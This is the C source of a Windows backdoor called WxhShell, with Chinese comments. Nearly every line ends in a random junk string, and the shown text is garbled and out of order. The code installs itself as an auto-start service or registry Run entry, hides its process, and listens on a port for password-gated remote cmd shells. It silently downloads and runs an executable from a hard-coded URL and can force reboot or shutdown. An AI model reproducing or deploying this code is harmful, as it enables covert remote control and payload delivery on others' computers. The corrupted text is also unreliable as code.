    if(Boot(SHUTDOWN)) oXgdLtsu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oU+F3b}5p  
    else { eegx'VSX4  
    closesocket(wsh); OO-k|\{ |  
    ExitThread(0); GozPvR^/  
    } g22gIj]  
    break; 2@Lb foA  
    }  y4jU{,  
  // 获取shell 8ws$k\>  
  case 's': { 92[a; a  
    CmdShell(wsh); qL 5>o>J  
    closesocket(wsh); v1+U;Th>g  
    ExitThread(0); nWaNT-  
    break; gH7z  
  } APSgnf  
  // 退出 {eHAg<+  
  case 'x': { @x{`\AM|%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j43$]'-  
    CloseIt(wsh); G0d&@okbFC  
    break; ?F@%S3h.  
    } f8n V=AQ  
  // 离开 {IM! Wb  
  case 'q': { I.V:q!4*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S4A q'  
    closesocket(wsh); :qj<p3w~}  
    WSACleanup(); Xs$Ufi  
    exit(1); sqO< J$tz  
    break; cxP&^,~  
        } MC!ZX)mF  
  } w*!wQ,o  
  } N4{nG,Mo]  
wij,N(,H  
  // 提示信息 FN87^.^2S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eSy(~Y  
} }DjYGMrTB  
  } WFv!Pbq,  
,.mBJ SE3  
  return; }iiHr|l3  
} {qpi?oY  
.#w6%c@  
// shell模块句柄 lK(Fg  
int CmdShell(SOCKET sock) e XV@.  
{ \k@$~}xD,  
STARTUPINFO si; *75YGD  
ZeroMemory(&si,sizeof(si)); R.RSQk7;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]k%PG-9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dl|gG9u4Q  
PROCESS_INFORMATION ProcessInfo; P~ 0Jg# V  
char cmdline[]="cmd"; :#{Xuy:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :E_a 0!'  
  return 0; j,-C{ K  
} /iQ(3F  
m VxO$A,  
// 自身启动模式 ZFn(x*L  
int StartFromService(void) 0Y+FRB ]u  
{ ${r[!0|   
typedef struct /n{1o\  
{ `=)2<Ca;~@  
  DWORD ExitStatus; mOBACTY^  
  DWORD PebBaseAddress; TwahR:T   
  DWORD AffinityMask; Dd $qQ  
  DWORD BasePriority; v/QUjXBr  
  ULONG UniqueProcessId; *I*i>==Z  
  ULONG InheritedFromUniqueProcessId; LJTo\^*  
}   PROCESS_BASIC_INFORMATION; 5W? PCOh\  
NC"yDWnO'  
PROCNTQSIP NtQueryInformationProcess; i'HQQWd  
QWO]`q`|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L ^J- ("e_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4,P bg|  
URTzX 2'[  
  HANDLE             hProcess;  HEF?mD3h  
  PROCESS_BASIC_INFORMATION pbi; ^ 4>k%d  
-K %5(Eg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \OwpD,'  
  if(NULL == hInst ) return 0; v/Pw9j!r;m  
+s[\g>i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2& LQg=O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aMuVqZw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }SfbCa)UO  
7[#xOZT  
  if (!NtQueryInformationProcess) return 0; 8*a), 3aK  
pbk$o{$`W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l]Lx L  
  if(!hProcess) return 0; E1V^}dn  
v ! hY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zqySm) o]  
F2I 5q C/  
  CloseHandle(hProcess); Fd$!wBL  
?+CV1 ]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MXp3g@Cz  
if(hProcess==NULL) return 0; }F=^O[  
fb]S-z(  
HMODULE hMod; :7.Me ;RA  
char procName[255]; a:rX9-**  
unsigned long cbNeeded; %5'6Tj  
^krk&rW3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Djt%r<  
3{7T4p.G  
  CloseHandle(hProcess); TpfZ>d2  
Ty4S~ClO#'  
if(strstr(procName,"services")) return 1; // 以服务启动 5]Da{Wmgs  
Ub$n |xn  
  return 0; // 注册表启动 ,J =P,](  
} hwnJE958L  
~2 *9{  
// 主模块 p3951-D  
int StartWxhshell(LPSTR lpCmdLine) F iAY\4  
{ n> w`26MMp  
  SOCKET wsl; cNK)5- U  
BOOL val=TRUE; ) ]6h y9<  
  int port=0; ).412I  
  struct sockaddr_in door; )r6EW`$  
oy.[+EI`|  
  if(wscfg.ws_autoins) Install(); hUpnI@  
c/3$AUsuO  
port=atoi(lpCmdLine); _k66Mkd#b  
s4LO&STh{  
if(port<=0) port=wscfg.ws_port; rxZi8w>}  
7:=k`yS,  
  WSADATA data; Yc Q=vt{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  ht97s  
R`'1t3p0i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \}*k)$r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fC-P.:F#I  
  door.sin_family = AF_INET; @'FE2^~Jj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,ZE?{G{tuj  
  door.sin_port = htons(port); :*i f  
{<$b Aj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f'En#-?O  
closesocket(wsl); <E,%@  
return 1; r|<DqTc6l  
} Ww3wsyx  
^c}J,tZ]  
  if(listen(wsl,2) == INVALID_SOCKET) { b0<o  
closesocket(wsl); U^lW@u?:  
return 1; @J 'YV{]  
} +=$  
  Wxhshell(wsl); 9i$NhfOe  
  WSACleanup(); <v 0*]NiX  
/#LW"4;*  
return 0; cDEJk?3+  
%8.J=B  
} pV[''  
f{#j6wZM  
// 以NT服务方式启动 Gc tsp2ndW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |9K<-yD  
{ W m&  
DWORD   status = 0; "j<bA8$Vw  
  DWORD   specificError = 0xfffffff; ,yMU@Vg  
L,[;k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TbVn6V'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < Bg8,;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;T+pu>)  
  serviceStatus.dwWin32ExitCode     = 0; j+4H}XyE  
  serviceStatus.dwServiceSpecificExitCode = 0; H U+ I  
  serviceStatus.dwCheckPoint       = 0; W !}{$  
  serviceStatus.dwWaitHint       = 0; B~o-l*  
!p"aAZT7sq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m6mwyom.  
  if (hServiceStatusHandle==0) return; l1=JrpCan  
d' >>E  
status = GetLastError(); px''.8   
  if (status!=NO_ERROR) ,YYVj{~2  
{ ->{d`-}m'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <W)u{KS#TY  
    serviceStatus.dwCheckPoint       = 0; A=5epsB  
    serviceStatus.dwWaitHint       = 0; q%YV$$c   
    serviceStatus.dwWin32ExitCode     = status; R,2P3lv1v@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0ZpFE&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CO+/.^s7}S  
    return; ~ Hy,7  
  } ,,L2(N  
VR{+f7:}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oFsM6+\/S  
  serviceStatus.dwCheckPoint       = 0; tiPa6tQ  
  serviceStatus.dwWaitHint       = 0; O\KQl0*l\\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a `Q ot  
} &[mZD,  
./6<r OW  
// 处理NT服务事件,比如:启动、停止 0C%W&;r0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~p0c3*  
{ una%[jTc  
switch(fdwControl) nKr9#JebRC  
{ Fm_y&7._  
case SERVICE_CONTROL_STOP: |]=2 }%1w  
  serviceStatus.dwWin32ExitCode = 0; Q _iO(qu 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ti5HrKIw  
  serviceStatus.dwCheckPoint   = 0; 07g':QU@  
  serviceStatus.dwWaitHint     = 0; 9Z"+?bv/  
  { "6ECgyD+E!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Mj}md;O"  
  } -f1k0QwL  
  return; ![6EUMx  
case SERVICE_CONTROL_PAUSE: q=Zr>I;(Ks  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mog[pu:!,  
  break; 2S3lsp5!  
case SERVICE_CONTROL_CONTINUE: -Ng'<7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Flxvhl)L  
  break; 6R;3%-D  
case SERVICE_CONTROL_INTERROGATE: q"qo.TPh|$  
  break; E\ 8  
}; b,TiMf9},h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1SIq[1  
} r,P1^uHx  
LA3<=R]  
// 标准应用程序主函数 )D-c]+yt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NG&_?|OmV  
{ N/QiI.V6  
<+#o BN  
// 获取操作系统版本 kUx&pYv  
OsIsNt=GetOsVer(); 3-Dt[0%{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w2O!M!1  
98jN)Nl,oD  
  // 从命令行安装 xda; K~w  
  if(strpbrk(lpCmdLine,"iI")) Install(); ''OfS D_g  
lS^(&<{  
  // 下载执行文件 =,!\~`^  
if(wscfg.ws_downexe) { ?YM4b5!3T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Ss7"*JLe  
  WinExec(wscfg.ws_filenam,SW_HIDE); H1" q  
} DciwQcG  
UM*jKi2]"  
if(!OsIsNt) { <AlZ]~Yct  
// 如果时win9x,隐藏进程并且设置为注册表启动 :q<Z'EnW  
HideProc(); sd#|3  
StartWxhshell(lpCmdLine); 3ss6_xd+  
} ^\:8w0Y^  
else "& Dx=Yf  
  if(StartFromService()) q_W0/Ki8  
  // 以服务方式启动  >YtdA  
  StartServiceCtrlDispatcher(DispatchTable); ;!< Znw  
else e,_-Je  
  // 普通方式启动 S\6[EQ65  
  StartWxhshell(lpCmdLine); i|)Su4Dw  
6&Juv  
return 0; 5m:i6,4  
} RyB~Lm`ZK%  
X;F?:Iw\  
8;Fn7k_Uf  
e}VBRvr  
=========================================== XNM a0  
gkBdR +  
\AUI|M;'  
p R dk>Ph  
PfS:AI y  
2jsw"aHW  
" 9z;HsUv  
)?M9|u  
#include <stdio.h> |sZ!  
#include <string.h> l+][V'zL  
#include <windows.h> t%zpNd2lk  
#include <winsock2.h> ,h\sF#|  
#include <winsvc.h> 0n~Zz  
#include <urlmon.h> K-<^ $VWh  
kc'pN&]r:  
#pragma comment (lib, "Ws2_32.lib") X0;4_,=  
#pragma comment (lib, "urlmon.lib") qa(>wR"mT  
,6 !rR,0  
#define MAX_USER   100 // 最大客户端连接数 plu$h-$d  
#define BUF_SOCK   200 // sock buffer p47S^gW  
#define KEY_BUFF   255 // 输入 buffer &bz:K8c  
GSoZx0  
#define REBOOT     0   // 重启 qrvsjYi*w  
#define SHUTDOWN   1   // 关机 'Djm0  
*tOG*hwdT  
#define DEF_PORT   5000 // 监听端口 ' /Bidb?  
UmnE@H"t$\  
#define REG_LEN     16   // 注册表键长度 e6X[vc|Y}  
#define SVC_LEN     80   // NT服务名长度 -"Y{$/B  
X1[CX&Am  
// 从dll定义API j#~Jxv%n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gw`B"c|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ee1LO#^_6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^[Ua46/"m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ) yY6rI;:  
t&5%?QyM  
// wxhshell配置信息 be5,U\&z  
struct WSCFG { 04%S+y.6&Y  
  int ws_port;         // 监听端口 =K&\E2kA4  
  char ws_passstr[REG_LEN]; // 口令 6qe*@o  
  int ws_autoins;       // 安装标记, 1=yes 0=no $wYtyN[  
  char ws_regname[REG_LEN]; // 注册表键名 {Y}dv`G#Iu  
  char ws_svcname[REG_LEN]; // 服务名 aw ?=hXR!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]%uZ\Q;9p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %;D+k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bsxTqJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4ww]9J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vhvdKD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vQF vtwd  
GEjd7s]C  
}; gef6pfV  
 `G1&Z]z  
// default Wxhshell configuration !|2VWI}  
struct WSCFG wscfg={DEF_PORT, .t&R>9cZ^  
    "xuhuanlingzhe", M fk2mIy  
    1, T,fI BD:  
    "Wxhshell", P3 c\S[F  
    "Wxhshell", *'"T$ib  
            "WxhShell Service", H4OhIxK  
    "Wrsky Windows CmdShell Service", C8#@+Q.  
    "Please Input Your Password: ", wOQ#N++C  
  1, <?D[9Mk$  
  "http://www.wrsky.com/wxhshell.exe", ?Y:x[pOe  
  "Wxhshell.exe" ; )Kh;;e  
    }; &`Y!;@K9W#  
xX0-]Y h:  
// 消息定义模块 Cp^@zw*/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d"G+8}.4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7z\m; 1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IdIrI  
char *msg_ws_ext="\n\rExit."; #jpoHvt h  
char *msg_ws_end="\n\rQuit."; 3:"]Rn([P  
char *msg_ws_boot="\n\rReboot..."; ~zm 7?_"@]  
char *msg_ws_poff="\n\rShutdown..."; jUj<~:Q}3o  
char *msg_ws_down="\n\rSave to "; xE}VTHFo'  
CV$],BM  
char *msg_ws_err="\n\rErr!"; at!Y3VywG  
char *msg_ws_ok="\n\rOK!"; l ?Y_~Wuw  
^^i6|l1  
char ExeFile[MAX_PATH]; *?QE2&S:  
int nUser = 0; 3QI?[R.  
HANDLE handles[MAX_USER]; %xwIt~Y  
int OsIsNt; )Fd HV;K  
rQ4*k'lA:  
SERVICE_STATUS       serviceStatus; 4fh^[\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #8{F9w<Rf  
!>x|7   
// 函数声明 lX:|iB  
int Install(void); OE)~yKy  
int Uninstall(void); ?EMK8;  
int DownloadFile(char *sURL, SOCKET wsh); bG&"9b_c  
int Boot(int flag); H@X oqgI  
void HideProc(void); _!xD8Di#  
int GetOsVer(void);  gB\T[RV  
int Wxhshell(SOCKET wsl); 2)?(R;$,  
void TalkWithClient(void *cs); 71#I5*8  
int CmdShell(SOCKET sock); Z'pQ^MO  
int StartFromService(void); )oo~m\`  
int StartWxhshell(LPSTR lpCmdLine); 3qHQX?a  
h9$ Fx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  "SN4*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oq-<ob  
d;tkJ2@NO  
// 数据结构和表定义 2y0J`!/)  
SERVICE_TABLE_ENTRY DispatchTable[] = ;TQf5|R\K  
{ qZ@0]"h  
{wscfg.ws_svcname, NTServiceMain}, *fO3]+)d+  
{NULL, NULL} 8T;IZ(s  
}; n<Svw a}  
wI M{pK  
// 自我安装 {v aaFs  
int Install(void) ,~ ?'Ef80  
{ O <9~Kgd8h  
  char svExeFile[MAX_PATH]; r%wA&FQ8U  
  HKEY key; ^IZ)#1U  
  strcpy(svExeFile,ExeFile); ?[ly`>KpJ  
_ |<d5TI  
// 如果是win9x系统,修改注册表设为自启动 J )BI:]m  
if(!OsIsNt) { Y9SGRV(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F0~k1TDw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JGiKBm;  
  RegCloseKey(key); 5_K5?N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R~L0{` 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .F&9.#>  
  RegCloseKey(key); JnD {J`:  
  return 0; MgnM,95  
    } >Sk[vI0Y  
  } k1z$e*u&r  
} C`oa3B,z  
else { ^s7,_!.Pq  
+5<k-0v  
// 如果是NT以上系统,安装为系统服务 mOll5O7VW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '/0#lF  
if (schSCManager!=0) i< (s}wg  
{  hRaf#  
  SC_HANDLE schService = CreateService Gtv,Izt  
  ( k>4qkigjc  
  schSCManager, NQTnhiM7$  
  wscfg.ws_svcname, CDMfa&;T  
  wscfg.ws_svcdisp, ofc.zwH  
  SERVICE_ALL_ACCESS, AH7L.L+$M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , db=$zIB[:  
  SERVICE_AUTO_START, m/&i9A  
  SERVICE_ERROR_NORMAL, ?4t-caK^u  
  svExeFile, 6y+b5-{'  
  NULL, '3tw<k!1{.  
  NULL, $FM' 3%B[  
  NULL, HP2wtN{Zs  
  NULL, ~9pM%N V  
  NULL N?r>%4  
  ); Ry;$^.7%  
  if (schService!=0) 6/ g%\ka  
  { 0O@_ cW  
  CloseServiceHandle(schService); s PYX~G&T  
  CloseServiceHandle(schSCManager); _]#klL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +`en{$%%  
  strcat(svExeFile,wscfg.ws_svcname); H>7dND 2;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HB& &  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R|,7d:k  
  RegCloseKey(key); 9G+f/k,P  
  return 0; 'UwI*EW2S  
    } ^tAO_~4  
  } 9w ~cvlv[  
  CloseServiceHandle(schSCManager); rnhFqNT:  
} TYS\95<  
} *_hLD5K!  
DQ6jT@ZDH  
return 1; M]_E  
} M-9gD[m  
*K!++k!Ixa  
// 自我卸载 I lG:X)V%  
int Uninstall(void) +cg {[f,J;  
{ >q( 5ir  
  HKEY key; L'kq>1QWf  
1M5 -pZ[D  
if(!OsIsNt) { 3;/?q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7[o {9Yp&  
  RegDeleteValue(key,wscfg.ws_regname); |HbEk[?^s  
  RegCloseKey(key); E&2tBrAq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k$[{n'\@  
  RegDeleteValue(key,wscfg.ws_regname); V/y=6wUiSl  
  RegCloseKey(key); i^|@"+  
  return 0; M []OHw  
  } >Q2). E  
} R{3CW^1  
} bEpMaBN  
else { J/Q|uRpmqr  
j7/(sf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X%4h(7;v  
if (schSCManager!=0) !Yh}H<w0  
{ pCt}66k}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #)74X% 4(  
  if (schService!=0) !IA KVQ  
  { DX@}!6|T  
  if(DeleteService(schService)!=0) { FBY ODw  
  CloseServiceHandle(schService); km>o7V&4G  
  CloseServiceHandle(schSCManager); Npa-$N&P{S  
  return 0; rz6jx  
  } D Vw Cx^  
  CloseServiceHandle(schService); DP>mNE  
  } c^S&F9/U*  
  CloseServiceHandle(schSCManager); |9s wZ[  
} &'O?es|Lb  
} nFXAF!,jj  
epVH.u%  
return 1; YNM\pX'  
} 8~5|KO >F  
S}gD,7@  
// 从指定url下载文件 3?ba 1F0Nw  
int DownloadFile(char *sURL, SOCKET wsh) .cR*P<3O  
{ 60PYCqWc  
  HRESULT hr; BX$hAQ(6Q  
char seps[]= "/"; `Cj,HI_/*  
char *token; *i?.y*g  
char *file; 6FjVmje  
char myURL[MAX_PATH]; q<XcOc5  
char myFILE[MAX_PATH]; 7Po/_%  
s/ S+ ec3  
strcpy(myURL,sURL); L?f qcW{  
  token=strtok(myURL,seps); 1URsHV!xcM  
  while(token!=NULL) bOXh|u_3i  
  { ZjD2u 8e  
    file=token; @3 "DBJ  
  token=strtok(NULL,seps); cEi<}9r  
  } a;p6?kv  
dofR)"<p,^  
GetCurrentDirectory(MAX_PATH,myFILE); XI g|G}i.  
strcat(myFILE, "\\"); \>[gl!B_Rr  
strcat(myFILE, file); M9g1d7%  
  send(wsh,myFILE,strlen(myFILE),0); AI fk"2  
send(wsh,"...",3,0); w:R]!e_6\9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V'yxqI?  
  if(hr==S_OK) yHw!#gWM  
return 0; bV7QVu8  
else rxkBg0Z`a  
return 1; m t.,4  
4`0;^K.  
} +-k`x0v  
gT7I9 (x!W  
// 系统电源模块 _6I>+9#C  
int Boot(int flag) SD I,M  
{ CU !.!cZ{  
  HANDLE hToken; fW[.r==Kf  
  TOKEN_PRIVILEGES tkp; EQ~I'#m7  
8)`5P\  
  if(OsIsNt) { #ZwY?T x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (QhAGk&lu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]eL~L_[G\  
    tkp.PrivilegeCount = 1; }'_:XKLj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -(  ER4#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k7[)g]u  
if(flag==REBOOT) { / GZV_H%v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :O#gJob-%s  
  return 0; Q,TaJ]  
} {r X5  
else { lMPbLF%_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rN'k4V"K  
  return 0; u"joCZ7`kG  
} h!;MBn`8  
  } ceI [hM  
  else { 0Cv4/Ar(  
if(flag==REBOOT) { 4w2L?PDMi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EkV!hqs*  
  return 0;  m"1 ?  
} p!V) 55J*  
else { L/%xbm~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `}n0=E  
  return 0; /3;=xZq  
} 'jwTGT5x  
} F6h/0i  
-y<rM0"NE  
return 1; w7[0  
} zkvH=wL  
gGD]t;<u  
// win9x进程隐藏模块 [/n' @cjNZ  
void HideProc(void) _c,&\ wl$  
{ uof0Oc.  
UvoG<;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0$(jBnE  
  if ( hKernel != NULL ) 4>d[qr*<  
  { A'w2GC{.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4O9tx_<JG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Yg}WHm  
    FreeLibrary(hKernel); <`b|L9  
  } f61]`@Bk  
l$qmn$Uc  
return; HKT{IP+7(L  
} (rMTW+,  
R7y-#?  
// 获取操作系统版本 .|tQ=l@I  
int GetOsVer(void) iNMLYYq]l  
{ *GB$sXF  
  OSVERSIONINFO winfo; 8cequAD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g8B&u u #  
  GetVersionEx(&winfo); i$2MjFC-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HM;4=%  
  return 1; ` C/fF_YA  
  else Gu<W:n[  
  return 0; i,^>uf  
} LjX&' ,  
N>h]mX6  
// 客户端句柄模块 1j8/4:  
int Wxhshell(SOCKET wsl) Cf.WO%?P  
{ thR|h+B  
  SOCKET wsh; Ni/|C19Z  
  struct sockaddr_in client; 4h[2C6 \+`  
  DWORD myID; K>`m_M"LA  
!;6W!%t.|  
  while(nUser<MAX_USER) DWHOS XA4  
{ S;G"L$&\  
  int nSize=sizeof(client); :ga 9Db9P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;g!xQvcR  
  if(wsh==INVALID_SOCKET) return 1; w?*'vF_2:#  
4"rb&$E   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 B4w.P,B  
if(handles[nUser]==0) m3x!*9h  
  closesocket(wsh); @|JPE%T   
else )[F46?$vrk  
  nUser++; jLpgWt`8)E  
  } xUV_2n+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gogl[gHO  
U!3uaz'  
  return 0; &^"s=g.  
} +A;n*DF2  
i&? 78+:  
// 关闭 socket :C}KI)  
void CloseIt(SOCKET wsh) OpbszSl"y  
{ $u(M 4(}  
closesocket(wsh); hPNQGVv  
nUser--; +^o3}`  
ExitThread(0); ]a &x'  
} @8T Vr2uy  
qhv4R|)  
// 客户端请求句柄 il 8A&`%  
void TalkWithClient(void *cs) !M#?kKj  
{ m&;zLBA;  
Ix%"4/z>  
  SOCKET wsh=(SOCKET)cs; Phk`=:xh  
  char pwd[SVC_LEN]; fbW,0  
  char cmd[KEY_BUFF]; woC FN1W  
char chr[1]; mRix0XBI~  
int i,j; l[ZQ7$kL  
q| de*~@-P  
  while (nUser < MAX_USER) { x(T!I&i={  
'npT+p$ V  
if(wscfg.ws_passstr) { I3F6-gH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MC[ `<W)u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y"%iD`{  
  //ZeroMemory(pwd,KEY_BUFF); QmDhZ04f  
      i=0; QZz{74]n  
  while(i<SVC_LEN) { TWD|1 di0  
]y$V/Ij=qK  
  // 设置超时 C>\h?<s  
  fd_set FdRead; GhchfI.  
  struct timeval TimeOut; D|8sjp4  
  FD_ZERO(&FdRead); uH~ TugQ~  
  FD_SET(wsh,&FdRead); 9, sCJ5bb"  
  TimeOut.tv_sec=8; V8|q"UX  
  TimeOut.tv_usec=0; 3z{5c   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T5X'D(\|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hc31+TL  
O_%PBgcJr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J_((o  
  pwd=chr[0]; qJAv=D  
  if(chr[0]==0xd || chr[0]==0xa) { 4N0W& Dy  
  pwd=0; ;^*+:e  
  break; <LOx.}fv  
  } d%[`=fs]|m  
  i++; n+A'XBHk  
    } !D|pbzQc8  
d~xU?)n)  
  // 如果是非法用户,关闭 socket F"HI>t)>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ M[}(m  
} A(!ZZ9 Wc  
nP3;<*T P0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GhfUCW%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S &lTKYP  
%I2xK.8=  
while(1) { osgS?=8  
odn97,A  
  ZeroMemory(cmd,KEY_BUFF); ^QL/m\zq@%  
OKLggim{  
      // 自动支持客户端 telnet标准   j@_) F^12  
  j=0; W;)FNP|MT  
  while(j<KEY_BUFF) { E]U3O>hf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Hm+ #o  
  cmd[j]=chr[0]; u^4"96aXJ  
  if(chr[0]==0xa || chr[0]==0xd) { s poWdRM2  
  cmd[j]=0; (fI&(";t  
  break; #B.w7y5*  
  } Osvz 3UMY3  
  j++; ?H86Wbz  
    } E[htB><  
%?9r(&  
  // 下载文件 R4rm>zisVX  
  if(strstr(cmd,"http://")) { ba)YbP[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r{N{! "G  
  if(DownloadFile(cmd,wsh)) & 4Iqm(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mBKya)  
  else h/+I-],RF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :pF]TY"K.  
